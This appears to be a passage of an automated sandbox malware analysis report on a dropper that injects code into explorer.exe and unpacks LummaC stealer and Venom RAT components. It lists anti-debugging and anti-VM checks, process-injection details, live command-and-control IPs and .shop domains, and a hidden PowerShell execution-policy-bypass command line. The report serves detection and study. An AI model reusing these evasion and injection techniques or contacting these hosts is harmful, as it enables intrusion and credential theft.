Source: explorer.exe, 00000001.00000000.1714271220.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714271220.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644907653.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000002.2709132159.0000000002F8B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000002.2709297632.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2705940268.0000000002F8B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2613784729.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2631526881.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2679465444.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.1714793604.0000000009977000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: 34CA.exe, 00000008.00000002.2597221296.000001A41B7A8000.00000004.00000020.00020000.00000000.sdmp, BD9E.exe, 0000000A.00000002.2920422947.000001DCE986B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000001.00000000.1714271220.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1712692265.00000000078A0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1712692265.00000000079FB000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000001.00000000.1714793604.00000000098A8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1714793604.0000000009977000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000001.00000000.1717391811.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: om&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94
Source: explorer.exe, 00000001.00000000.1712692265.00000000078AD000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1714271220.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: BD9E.exe, 0000000A.00000002.2908954783.000001DCE810D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\E
Source: vm.exe, 00000012.00000003.3217453872.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000012.00000002.4111529440.00000000005FA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllH
Source: 34CA.exe Binary or memory string: .brAMDisbetter!AuthenticAMDCentaurHaulsGenuineIntelTransmetaCPUGenuineTMx86Geode by NSCVIA VIA VIA KVMKVMKVMKVMMicrosoft HvVMwareVMwareXenVMMXenVMMbhyve bhyve HygonGenuineVortex86 SoCSiS SiS SiS RiseRiseRiseGenuine RDCECH requiredbad KDF ID: BindCompleteFunct
Source: explorer.exe, 00000001.00000000.1712692265.0000000007A34000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000001.00000000.1711065228.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1714271220.0000000009660000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1711065228.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 34CA.exe Binary or memory string: W5Y0tdCLLaYcvsKzyKBjidpmE1BHc86vjlhun29UAQ6rJZ1+hAUJMv6yDSm77LFR/At8wqZArKFjRxye1Iekrog93ttnyK5FEDw6+RPvmPZJmn2Ny6c69E2SUhEO/vtkGH1tLlOBSTv07SHKhP/k6uLKuu96C1dMI7KMMDP4XkpI2+Y6DismsMB9BV85H06QXorwQF/T+HT6QsQfi/vOoJWQZYuU+4o6mvX48r/Ht0VEJcT/p2XyRwBvMciXpPpRvoj9
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr System information queried: CodeIntegrityInformation Jump to behavior
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A2DC5 CheckRemoteDebuggerPresent, 10_2_00007FFD9B9A2DC5
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process queried: DebugPort
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00779D10 LdrInitializeThunk, 13_2_00779D10
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA8DF8B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 18_2_6CA8DF8B
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA764F0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,lstrlenW,GetCurrentProcessId,CreateMutexA,CloseHandle,ReleaseMutex,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess, 18_2_6CA764F0
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_026E092B mov eax, dword ptr fs:[00000030h] 0_2_026E092B
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_026E0D90 mov eax, dword ptr fs:[00000030h] 0_2_026E0D90
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_0273409B push dword ptr fs:[00000030h] 0_2_0273409B
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_0256092B mov eax, dword ptr fs:[00000030h] 3_2_0256092B
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_02560D90 mov eax, dword ptr fs:[00000030h] 3_2_02560D90
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_02593CBB push dword ptr fs:[00000030h] 3_2_02593CBB
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA8F853 mov eax, dword ptr fs:[00000030h] 18_2_6CA8F853
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA8D49D mov ecx, dword ptr fs:[00000030h] 18_2_6CA8D49D
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA96CF0 GetProcessHeap,HeapAlloc, 18_2_6CA96CF0
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA8DF8B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 18_2_6CA8DF8B
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA88B9F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 18_2_6CA88B9F
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA890B9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 18_2_6CA890B9
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: 2FBE.exe.1.dr Jump to dropped file
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 77.221.157.163 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.173.160.139 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.173.160.137 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 162.0.235.84 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 109.172.114.212 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 64.190.113.113 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 78.89.199.216 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 167.235.128.153 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 185.149.100.242 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 190.12.87.61 80 Jump to behavior
.NET source code references suspicious native API functions
Source: BD9E.exe.1.dr, SAPIENHost.cs Reference to suspicious API methods: FindResource(hINSTANCE, new IntPtr(num), new IntPtr(10))
Source: 18.2.vm.exe.29e0000.1.raw.unpack, Keylogger.cs Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)
Source: 18.2.vm.exe.29e0000.1.raw.unpack, DInvokeCore.cs Reference to suspicious API methods: DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref Parameters)
Source: 18.2.vm.exe.29e0000.1.raw.unpack, AntiProcess.cs Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory allocated: C:\Windows\explorer.exe base: 3050000 protect: page read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory allocated: C:\Windows\explorer.exe base: 3040000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory allocated: C:\Windows\explorer.exe base: 3180000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory allocated: C:\Windows\explorer.exe base: 7E70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 740000 protect: page execute and read and write Jump to behavior
Bypasses PowerShell execution policy
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Changes memory attributes in foreign processes to executable or writable
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory protected: C:\Windows\explorer.exe base: 3050000 protect: page execute and read and write Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Thread created: C:\Windows\explorer.exe EIP: 13519D0 Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Thread created: unknown EIP: 34319D0 Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 740000 value starts with: 4D5A Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory written: PID: 2580 base: 3050000 value: 20 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory written: PID: 2580 base: 3051000 value: 48 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory written: PID: 2580 base: 7E70030 value: 00 Jump to behavior
LummaC encrypted strings found
Source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: indexterityszcoxp.shop
Source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: lariatedzugspd.shop
Source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: callosallsaospz.shop
Source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: outpointsozp.shop
Source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: liernessfornicsa.shop
Source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: upknittsoappz.shop
Source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: shepherdlyopzc.shop
Source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: unseaffarignsk.shop
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory written: C:\Windows\explorer.exe base: 3050000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory written: C:\Windows\explorer.exe base: 3051000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Memory written: C:\Windows\explorer.exe base: 7E70030 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 740000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2A03008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Users\user\AppData\Local\Temp\BD9E.exe "C:\Users\user\AppData\Local\Temp\BD9E.exe" -HOSTRUNAS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedLumma\run.bat
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe "lm.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648DF310 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,CheckTokenMembership, 6_2_00007FF7648DF310
Source: explorer.exe, 00000001.00000000.1711355226.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1712531796.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714271220.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1711355226.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1711065228.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1711355226.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1711355226.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: }Program Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Queries volume information: C:\Windows VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Queries volume information: C:\Windows\AppReadiness VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Users\user\AppData\Local\Temp\BD9E.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
